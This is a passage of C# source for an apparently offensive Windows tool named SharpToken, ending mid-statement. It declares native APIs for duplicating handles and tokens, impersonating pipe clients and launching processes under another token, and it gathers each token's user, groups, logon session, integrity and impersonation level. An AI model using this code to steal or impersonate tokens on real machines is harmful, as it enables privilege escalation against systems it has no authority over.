using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Runtime.ConstrainedExecution; using System.Runtime.InteropServices; using System.Security.Permissions; using System.Security.Principal; using System.Text; namespace SharpToken { public enum IntegrityLevel : uint { Untrusted, LowIntegrity = 0x00001000, MediumIntegrity = 0x00002000, MediumHighIntegrity = 0x100 + MediumIntegrity, HighIntegrity = 0X00003000, SystemIntegrity = 0x00004000, ProtectedProcess = 0x00005000 } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_ACCESS_TOKEN { public IntPtr Token; public IntPtr Thread; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr pSecurityDescriptor; public bool bInheritHandle; } [StructLayout(LayoutKind.Sequential)] public struct TOKEN_MANDATORY_LABEL { public SID_AND_ATTRIBUTES Label; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct TOKEN_GROUPS { public uint GroupCount; public SID_AND_ATTRIBUTES Groups; } [StructLayout(LayoutKind.Sequential)] public struct SID_AND_ATTRIBUTES { public IntPtr Sid; public uint Attributes; } [Flags] public enum ProcessCreateFlags : uint { DEBUG_PROCESS = 0x00000001, DEBUG_ONLY_THIS_PROCESS = 0x00000002, CREATE_SUSPENDED = 0x00000004, DETACHED_PROCESS = 0x00000008, CREATE_NEW_CONSOLE = 0x00000010, NORMAL_PRIORITY_CLASS = 0x00000020, IDLE_PRIORITY_CLASS = 0x00000040, HIGH_PRIORITY_CLASS = 0x00000080, REALTIME_PRIORITY_CLASS = 0x00000100, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_UNICODE_ENVIRONMENT = 0x00000400, CREATE_SEPARATE_WOW_VDM = 0x00000800, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_FORCEDOS = 0x00002000, BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, INHERIT_PARENT_AFFINITY = 0x00010000, INHERIT_CALLER_PRIORITY = 0x00020000, CREATE_PROTECTED_PROCESS = 0x00040000, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, PROCESS_MODE_BACKGROUND_END = 0x00200000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NO_WINDOW = 0x08000000, PROFILE_USER = 0x10000000, PROFILE_KERNEL = 0x20000000, PROFILE_SERVER = 0x40000000, CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000, } public enum PROCESS_INFORMATION_CLASS { ProcessBasicInformation, ProcessQuotaLimits, ProcessIoCounters, ProcessVmCounters, ProcessTimes, ProcessBasePriority, ProcessRaisePriority, ProcessDebugPort, ProcessExceptionPort, ProcessAccessToken, ProcessLdtInformation, ProcessLdtSize, ProcessDefaultHardErrorMode, ProcessIoPortHandlers, ProcessPooledUsageAndLimits, ProcessWorkingSetWatch, ProcessUserModeIOPL, ProcessEnableAlignmentFaultFixup, ProcessPriorityClass, ProcessWx86Information, ProcessHandleCount, ProcessAffinityMask, ProcessPriorityBoost, MaxProcessInfoClass } [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } public enum TOKEN_ELEVATION_TYPE { TokenElevationTypeDefault = 1, TokenElevationTypeFull, TokenElevationTypeLimited } public enum TOKEN_INFORMATION_CLASS { TokenUser = 1, TokenGroups, TokenPrivileges, TokenOwner, TokenPrimaryGroup, TokenDefaultDacl, TokenSource, TokenType, TokenImpersonationLevel, TokenStatistics, TokenRestrictedSids, TokenSessionId, TokenGroupsAndPrivileges, TokenSessionReference, TokenSandBoxInert, TokenAuditPolicy, TokenOrigin, TokenElevationType, TokenLinkedToken, TokenElevation, TokenHasRestrictions, TokenAccessInformation, TokenVirtualizationAllowed, TokenVirtualizationEnabled, TokenIntegrityLevel, TokenUIAccess, TokenMandatoryPolicy, TokenLogonSid, TokenIsAppContainer, TokenCapabilities, TokenAppContainerSid, TokenAppContainerNumber, TokenUserClaimAttributes, TokenDeviceClaimAttributes, TokenRestrictedUserClaimAttributes, TokenRestrictedDeviceClaimAttributes, TokenDeviceGroups, TokenRestrictedDeviceGroups, TokenSecurityAttributes, TokenIsRestricted, TokenProcessTrustLevel, TokenPrivateNameSpace, TokenSingletonAttributes, TokenBnoIsolation, TokenChildProcessFlags, TokenIsLessPrivilegedAppContainer, TokenIsSandboxed, MaxTokenInfoClass } [StructLayout(LayoutKind.Sequential)] public struct LUID { public int LowPart; public int HighPart; } [StructLayout(LayoutKind.Sequential)] public class TokenPrivileges { public int PrivilegeCount = 1; public LUID Luid; public int Attributes; } public enum SECURITY_LOGON_TYPE : uint { UndefinedLogonType = 0, Interactive = 2, Network, Batch, Service, Proxy, Unlock, NetworkCleartext, NewCredentials, RemoteInteractive, CachedInteractive, CachedRemoteInteractive, CachedUnlock } public enum TOKEN_TYPE { UnKnown = -1, TokenPrimary = 1, TokenImpersonation } public enum OBJECT_INFORMATION_CLASS { ObjectBasicInformation, ObjectNameInformation, ObjectTypeInformation, ObjectAllTypesInformation, ObjectHandleInformation } [StructLayout(LayoutKind.Sequential)] public struct OBJECT_TYPE_INFORMATION { // Information Class 2 public UNICODE_STRING Name; public int ObjectCount; public int HandleCount; public int Reserved1; public int Reserved2; public int Reserved3; public int Reserved4; public int PeakObjectCount; public int PeakHandleCount; public int Reserved5; public int Reserved6; public int Reserved7; public int Reserved8; public int InvalidAttributes; public GENERIC_MAPPING GenericMapping; public int ValidAccess; public byte Unknown; public byte MaintainHandleDatabase; public int PoolType; public int PagedPoolUsage; public int NonPagedPoolUsage; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct SECURITY_LOGON_SESSION_DATA { public uint Size; public LUID LogonId; public UNICODE_STRING UserName; public UNICODE_STRING LogonDomain; public UNICODE_STRING AuthenticationPackage; public uint LogonType; public uint Session; public IntPtr Sid; public long LogonTime; } [StructLayout(LayoutKind.Sequential)] public struct GENERIC_MAPPING { public int GenericRead; public int GenericWrite; public int GenericExecute; public int GenericAll; } public class NativeMethod { public static readonly uint HANDLE_FLAG_INHERIT = 0x00000001; public static readonly uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002; public static readonly uint SystemExtendedHandleInformation = 0x40; public static readonly uint STATUS_SUCCESS = 0x00000000; public static readonly uint ERROR_SUCCESS = 0x00000000; public static readonly uint STATUS_INFO_LENGTH_MISMATCH = 0xc0000004; public static readonly uint STATUS_BUFFER_OVERFLOW = 0x80000005; public static readonly uint DUPLICATE_SAME_ACCESS = 0x00000002; public static readonly uint MAXIMUM_ALLOWED = 0x02000000; public static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000; public static uint TOKEN_ASSIGN_PRIMARY = 0x0001; public static uint TOKEN_DUPLICATE = 0x0002; public static uint TOKEN_IMPERSONATE = 0x0004; public static uint TOKEN_QUERY = 0x0008; public static uint TOKEN_QUERY_SOURCE = 0x0010; public static uint TOKEN_ADJUST_PRIVILEGES = 0x0020; public static uint TOKEN_ADJUST_GROUPS = 0x0040; public static uint TOKEN_ADJUST_DEFAULT = 0x0080; public static uint TOKEN_ADJUST_SESSIONID = 0x0100; public static uint STARTF_FORCEONFEEDBACK = 0x00000040; public static uint STARTF_FORCEOFFFEEDBACK = 0x00000080; public static uint STARTF_PREVENTPINNING = 0x00002000; public static uint STARTF_RUNFULLSCREEN = 0x00000020; public static uint STARTF_TITLEISAPPID = 0x00001000; public static uint STARTF_TITLEISLINKNAME = 0x00000800; public static uint STARTF_UNTRUSTEDSOURCE = 0x00008000; public static uint STARTF_USECOUNTCHARS = 0x00000008; public static uint STARTF_USEFILLATTRIBUTE = 0x00000010; public static uint STARTF_USEHOTKEY = 0x00000200; public static uint STARTF_USEPOSITION = 0x00000004; public static uint STARTF_USESHOWWINDOW = 0x00000001; public static uint STARTF_USESIZE = 0x00000002; public static uint STARTF_USESTDHANDLES = 0x00000100; public static uint GENERIC_READ = 0x80000000; public static uint GENERIC_WRITE = 0x40000000; public static uint GENERIC_EXECUTE = 0x20000000; public static uint GENERIC_ALL = 0x10000000; public static uint TOKEN_ELEVATION = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID; public static uint TOKEN_ALL_ACCESS_P = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT; public static readonly int SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001; public static readonly int SE_PRIVILEGE_ENABLED = 0x00000002; public static readonly int SE_PRIVILEGE_REMOVED = 0X00000004; public static readonly int NMPWAIT_WAIT_FOREVER = unchecked((int)0xffffffff); public static readonly int NMPWAIT_NOWAIT = 0x00000001; public static readonly int NMPWAIT_USE_DEFAULT_WAIT = 0x00000000; public static readonly int PIPE_UNLIMITED_INSTANCES = 255; public static readonly int PIPE_WAIT = 0x00000000; public static readonly int PIPE_NOWAIT = 0x00000001; public static readonly int PIPE_READMODE_BYTE = 0x00000000; public static readonly int PIPE_READMODE_MESSAGE = 0x00000002; public static readonly int PIPE_TYPE_BYTE = 0x00000000; public static readonly int PIPE_TYPE_MESSAGE = 0x00000004; public static readonly int PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000; public static readonly int PIPE_REJECT_REMOTE_CLIENTS = 0x00000008; public static readonly int PIPE_ACCESS_INBOUND = 0x00000001; public static readonly int PIPE_ACCESS_OUTBOUND = 0x00000002; public static readonly int PIPE_ACCESS_DUPLEX = 0x00000003; public static IntPtr ContextToken = IntPtr.Zero; public static IntPtr BAD_HANLE = new IntPtr(-1); [DllImport("ntdll")] public static extern uint NtQuerySystemInformation( [In] uint SystemInformationClass, [In] IntPtr SystemInformation, [In] uint SystemInformationLength, [Out] out uint ReturnLength); [DllImport("ntdll")] public static extern uint NtDuplicateObject( [In] IntPtr SourceProcessHandle, [In] IntPtr SourceHandle, [In] IntPtr TargetProcessHandle, [In] IntPtr PHANDLE, [In] int DesiredAccess, [In] int Attributes, [In] int Options); [DllImport("ntdll", SetLastError = true)] public static extern uint NtQueryObject( [In] IntPtr Handle, [In] OBJECT_INFORMATION_CLASS ObjectInformationClass, IntPtr ObjectInformation, [In] int ObjectInformationLength, out int ReturnLength); [DllImport("ntdll", SetLastError = true)] public static extern uint NtSuspendProcess([In] IntPtr Handle); [DllImport("ntdll.dll", SetLastError = false)] public static extern uint NtResumeProcess(IntPtr ProcessHandle); [DllImport("ntdll", SetLastError = true)] public static extern uint NtTerminateProcess( [In] IntPtr ProcessHandle, [In] uint ExitStatus); [DllImport("ntdll", SetLastError = true)] public static extern uint NtSetInformationProcess( [In] IntPtr ProcessHandle, [In] PROCESS_INFORMATION_CLASS ProcessInformationClass, [In] IntPtr ProcessInformation, [In] uint ProcessInformationLength); [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] [DllImport("secur32.dll", SetLastError = true)] internal static extern int LsaFreeReturnBuffer(IntPtr handle); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool PeekNamedPipe(IntPtr handle, byte[] buffer, uint nBufferSize, ref uint bytesRead, ref uint bytesAvail, ref uint BytesLeftThisMessage); [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority); [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool IsTokenRestricted(IntPtr TokenHandle); [DllImport("kernel32")] public static extern void CloseHandle(IntPtr hObject); [DllImport("kernel32")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32")] public static extern void SetLastError(uint dwErrCode); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern bool CreateProcessW([In] string lpApplicationName, [In][Out] string lpCommandLine, [In] IntPtr lpProcessAttributes, [In] IntPtr lpThreadAttributes, [In] bool bInheritHandles, [In] uint dwCreationFlags, [In] IntPtr lpEnvironment, [In] string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, [Out] out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CreateProcessAsUserW(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, [MarshalAs(UnmanagedType.LPWStr)] string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32", SetLastError = true)] public static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength, out uint ReturnLength); [DllImport("Kernel32", SetLastError = true)] public static extern bool SetHandleInformation(IntPtr TokenHandle, uint dwMask, uint dwFlags); [DllImport("wtsapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern int WTSConnectSession(int targetSessionId, int sourceSessionId, string password, bool wait); [DllImport("kernel32.dll")] public static extern int WTSGetActiveConsoleSessionId(); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( ProcessAccessFlags processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DuplicateHandle( [In] IntPtr hSourceProcessHandle, [In] IntPtr hSourceHandle, [In] IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, [In] uint dwDesiredAccess, [In] bool bInheritHandle, [In] uint dwOptions ); [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] internal static extern uint LsaGetLogonSessionData([In] ref LUID LogonId, [In][Out] ref IntPtr ppLogonSessionData); [DllImport("advapi32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)] public static extern bool LookupPrivilegeValue([MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, [MarshalAs(UnmanagedType.LPTStr)] string lpName, out LUID lpLuid); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, TokenPrivileges NewState, int BufferLength, IntPtr PreviousState, out int ReturnLength); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); [DllImport("advapi32.dll", SetLastError = true, EntryPoint = "RevertToSelf")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool RevertToSelfEx(); [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, EntryPoint = "CreateNamedPipeW", SetLastError = true)] public static extern IntPtr CreateNamedPipe(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes); [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, EntryPoint = "CreateFileW", SetLastError = true)] public static extern IntPtr CreateFileW(string lpFileName, int dwDesiredAccess, FileShare dwShareMode, ref SECURITY_ATTRIBUTES secAttrs, FileMode dwCreationDisposition, int dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ConnectNamedPipe(IntPtr handle, IntPtr overlapped); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); [DllImport("psapi.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)] public static extern int GetModuleFileNameEx(IntPtr processHandle, IntPtr moduleHandle, StringBuilder baseName, int size); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "DuplicateTokenEx")] private extern static bool DuplicateTokenExInternal(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, TOKEN_TYPE TokenType, out IntPtr phNewToken); public static bool GetTokenInformation(IntPtr tokenHandle, TOKEN_INFORMATION_CLASS tokenInformationClass, out IntPtr TokenInformation, out uint dwLength) { bool status = GetTokenInformation(tokenHandle, tokenInformationClass, IntPtr.Zero, 0, out dwLength); if (dwLength == 0xfffffff8) { dwLength = 0; goto failRet; } TokenInformation = Marshal.AllocHGlobal((int)dwLength); if (GetTokenInformation(tokenHandle, tokenInformationClass, TokenInformation, dwLength, out dwLength)) { return true; } failRet: dwLength = 0; TokenInformation = IntPtr.Zero; return false; } public static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, TokenImpersonationLevel impersonationLevel, TOKEN_TYPE TokenType, out IntPtr phNewToken) { impersonationLevel -= TokenImpersonationLevel.Anonymous; return DuplicateTokenExInternal(hExistingToken, dwDesiredAccess, lpTokenAttributes, (uint)impersonationLevel, TokenType, out phNewToken); } public static bool RevertToSelf() { bool isOk = RevertToSelfEx(); if (ContextToken != IntPtr.Zero) { isOk = ImpersonateLoggedOnUser(ContextToken); } return isOk; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct TOKEN_STATISTICS { public LUID TokenId; public LUID AuthenticationId; public long ExpirationTime; public uint TokenType; public uint ImpersonationLevel; public uint DynamicCharged; public uint DynamicAvailable; public uint GroupCount; public uint PrivilegeCount; public LUID ModifiedId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct _SYSTEM_HANDLE_INFORMATION_EX { private static int TypeSize = Marshal.SizeOf(typeof(_SYSTEM_HANDLE_INFORMATION_EX)); public IntPtr NumberOfHandles; public IntPtr Reserved; public uint GetNumberOfHandles() { return (uint)NumberOfHandles.ToInt64(); } public static SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleAt(IntPtr handleInfoPtr, ulong index) { IntPtr thisPtr = new IntPtr(handleInfoPtr.ToInt64()); thisPtr = new IntPtr(thisPtr.ToInt64() + TypeSize + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)) * (int)index); return (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(thisPtr, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)); } } [StructLayout(LayoutKind.Sequential)] public struct UNICODE_STRING : IDisposable { public ushort Length; public ushort MaximumLength; public IntPtr buffer; [SecurityPermission(SecurityAction.LinkDemand)] public void Initialize(string s) { Length = (ushort)(s.Length * 2); MaximumLength = (ushort)(Length + 2); buffer = Marshal.StringToHGlobalUni(s); } [SecurityPermission(SecurityAction.LinkDemand)] public void Dispose() { Marshal.FreeHGlobal(buffer); buffer = IntPtr.Zero; } [SecurityPermission(SecurityAction.LinkDemand)] public override string ToString() { if (Length == 0) return String.Empty; return Marshal.PtrToStringUni(buffer, Length / 2); } } public class ProcessToken { public string SID { get; set; } public string LogonDomain { get; set; } public string UserName { get; set; } public uint Session { get; set; } public SECURITY_LOGON_TYPE LogonType { get; set; } public TOKEN_TYPE TokenType { get; set; } public IntPtr TokenHandle { get; set; } public int TargetProcessId { get; set; } public IntPtr TargetProcessToken { get; set; } public TokenImpersonationLevel ImpersonationLevel { get; set; } public string AuthenticationType { get; set; } public string TargetProcessExePath { get; set; } public TOKEN_ELEVATION_TYPE TokenElevationType { get; set; } public IntegrityLevel IntegrityLevel { get; set; } public bool IsRestricted { get; set; } public bool TokenUIAccess { get; set; } public string Groups { get; set; } public bool IsClose { get; private set; } private static readonly List blackGroupSid = new List(); private ProcessToken() { } public static ProcessToken Cast(IntPtr targetProcessToken, int targetProcessPid, IntPtr targetProcessHandle, IntPtr tokenHandle) { try { return _Cast(targetProcessToken, targetProcessPid, targetProcessHandle, tokenHandle); } catch (Exception) { return null; } } private static ProcessToken _Cast(IntPtr targetProcessToken, int targetProcessPid, IntPtr targetProcessHandle, IntPtr tokenHandle) { ProcessToken processToken = new ProcessToken(); SecurityIdentifier securityIdentifier = GetUser(tokenHandle); if (securityIdentifier == null) { return null; } processToken.UserName = securityIdentifier.Translate(typeof(NTAccount)).Value; processToken.SID = securityIdentifier.Value; processToken.Groups = string.Join(",", getGoups(tokenHandle)); processToken.ImpersonationLevel = GetImpersonationLevel(tokenHandle); uint session = 0; SECURITY_LOGON_TYPE logonType = SECURITY_LOGON_TYPE.UndefinedLogonType; string logonDomain = ""; processToken.AuthenticationType = GetAuthenticationType(tokenHandle, out session, out logonDomain, out logonType); processToken.Session = session; processToken.LogonType = logonType; processToken.LogonDomain = logonDomain; processToken.TargetProcessId = targetProcessPid; processToken.TargetProcessToken = targetProcessToken; //获取Token类型 processToken.TokenType = GetTokenType(tokenHandle); //检查token类型是否为主Token 如果是主Token必须调用DuplicateTokenEx获取模拟Token不然就获取不到Token类型 详情:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_information_class if (processToken.ImpersonationLevel == TokenImpersonationLevel.None) { IntPtr newToken; if (NativeMethod.DuplicateTokenEx(tokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, TokenImpersonationLevel.Delegation, TOKEN_TYPE.TokenImpersonation, out newToken)) { processToken.ImpersonationLevel = TokenImpersonationLevel.Delegation; NativeMethod.CloseHandle(newToken); } else if (NativeMethod.DuplicateTokenEx(tokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out newToken)) { processToken.ImpersonationLevel = TokenImpersonationLevel.Impersonation; NativeMethod.CloseHandle(newToken); } } processToken.TokenElevationType = GetTokenElevationType(tokenHandle); processToken.IntegrityLevel = GetTokenIntegrityLevel(tokenHandle); processToken.IsRestricted = NativeMethod.IsTokenRestricted(tokenHandle); processToken.TokenUIAccess = GetTokenUIAccess(tokenHandle); if (targetProcessHandle != IntPtr.Zero) { StringBuilder exePath = new StringBuilder(1024); NativeMethod.GetModuleFileNameEx(targetProcessHandle, IntPtr.Zero, exePath, exePath.Capacity * 2); processToken.TargetProcessExePath = exePath.ToString(); } processToken.TokenHandle = tokenHandle; return processToken; } public static SecurityIdentifier GetUser(IntPtr tokenHandle) { uint ReturnLength; IntPtr tokenUserPtr = IntPtr.Zero; SecurityIdentifier securityIdentifier = null; if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, out tokenUserPtr, out ReturnLength)) { securityIdentifier = new SecurityIdentifier(Marshal.ReadIntPtr(tokenUserPtr)); Marshal.FreeHGlobal(tokenUserPtr); } return securityIdentifier; } public static string[] getGoups(IntPtr tokenHandle) { List goups = new List(); IntPtr tokenUserPtr = IntPtr.Zero; SecurityIdentifier securityIdentifier = null; uint ReturnLength; /** * * typedef struct _TOKEN_GROUPS { DWORD GroupCount; #ifdef MIDL_PASS [size_is(GroupCount)] SID_AND_ATTRIBUTES Groups[*]; #else // MIDL_PASS SID_AND_ATTRIBUTES Groups[ANYSIZE_ARRAY]; #endif // MIDL_PASS } TOKEN_GROUPS, *PTOKEN_GROUPS; * */ if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenGroups, out tokenUserPtr, out ReturnLength)) { int offset = 0; int groupCount = Marshal.ReadInt32(tokenUserPtr); offset += Marshal.SizeOf(typeof(TOKEN_GROUPS)) - Marshal.SizeOf(typeof(SID_AND_ATTRIBUTES)); for (int i = 0; i < groupCount; i++) { lock (blackGroupSid) { try { securityIdentifier = new SecurityIdentifier(Marshal.ReadIntPtr(new IntPtr(tokenUserPtr.ToInt64() + offset))); offset += Marshal.SizeOf(typeof(SID_AND_ATTRIBUTES)); if (blackGroupSid.Contains(securityIdentifier.Value)) { continue; } goups.Add(securityIdentifier.Translate(typeof(NTAccount)).Value); } catch (Exception e) { if (securityIdentifier != null) { blackGroupSid.Add(securityIdentifier.Value); } continue; } } } Marshal.FreeHGlobal(tokenUserPtr); } return goups.ToArray(); } public static TOKEN_TYPE GetTokenType(IntPtr tokenHandle) { IntPtr tokenTypePtr = IntPtr.Zero; uint outLength = 0; TOKEN_TYPE ret = TOKEN_TYPE.UnKnown; if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenType, out tokenTypePtr, out outLength)) { ret = (TOKEN_TYPE)(int)Marshal.PtrToStructure(tokenTypePtr, typeof(int)); Marshal.FreeHGlobal(tokenTypePtr); } return ret; } public static TOKEN_ELEVATION_TYPE GetTokenElevationType(IntPtr tokenHandle) { IntPtr tokenInfo = IntPtr.Zero; uint dwLength; int num = -1; if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenElevationType, out tokenInfo, out dwLength)) { num = Marshal.ReadInt32(tokenInfo); Marshal.FreeHGlobal(tokenInfo); } return (TOKEN_ELEVATION_TYPE)Enum.ToObject(typeof(TOKEN_ELEVATION_TYPE), num); } public static TokenImpersonationLevel GetImpersonationLevel(IntPtr tokenHandle) { IntPtr tokenInfo = IntPtr.Zero; uint dwLength = 0; if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, out tokenInfo, out dwLength)) { int num = Marshal.ReadInt32(tokenInfo); Marshal.FreeHGlobal(tokenInfo); return num + TokenImpersonationLevel.Anonymous; } return TokenImpersonationLevel.None; } public static string GetAuthenticationType(IntPtr tokenHandle, out uint sessionId, out string logonDomain, out SECURITY_LOGON_TYPE logonType) { IntPtr tokenInfo = IntPtr.Zero; uint dwLength = 0; if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenStatistics, out tokenInfo, out dwLength)) { TOKEN_STATISTICS tokenStatistics = (TOKEN_STATISTICS)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_STATISTICS)); Marshal.FreeHGlobal(tokenInfo); LUID logonAuthId = tokenStatistics.AuthenticationId; if (logonAuthId.LowPart == 998U) { goto failRet; } IntPtr ppLogonSessionData = IntPtr.Zero; uint status = NativeMethod.LsaGetLogonSessionData(ref logonAuthId, ref ppLogonSessionData); if (status == NativeMethod.STATUS_SUCCESS) { SECURITY_LOGON_SESSION_DATA sessionData = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(SECURITY_LOGON_SESSION_DATA)); string result = sessionData.AuthenticationPackage.ToString(); logonType = (SECURITY_LOGON_TYPE)sessionData.LogonType; sessionId = sessionData.Session; logonDomain = sessionData.LogonDomain.ToString(); NativeMethod.LsaFreeReturnBuffer(ppLogonSessionData); return result; } } failRet: logonType = SECURITY_LOGON_TYPE.UndefinedLogonType; sessionId = 0; logonDomain = "UnKnown"; return "UnKnown"; } public static IntegrityLevel GetTokenIntegrityLevel(IntPtr tokenHanle) { IntPtr infoPtr = IntPtr.Zero; uint dwLength; uint IntegrityLevel = 0; if (NativeMethod.GetTokenInformation(tokenHanle, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, out infoPtr, out dwLength)) { TOKEN_MANDATORY_LABEL tokenMandatoryLabel = (TOKEN_MANDATORY_LABEL)Marshal.PtrToStructure(infoPtr, typeof(TOKEN_MANDATORY_LABEL)); IntPtr SubAuthorityCount = NativeMethod.GetSidSubAuthorityCount(tokenMandatoryLabel.Label.Sid); IntPtr IntegrityLevelRidPtr = NativeMethod.GetSidSubAuthority(tokenMandatoryLabel.Label.Sid, (uint)Marshal.ReadInt32(SubAuthorityCount) - 1); uint IntegrityLevelRid = 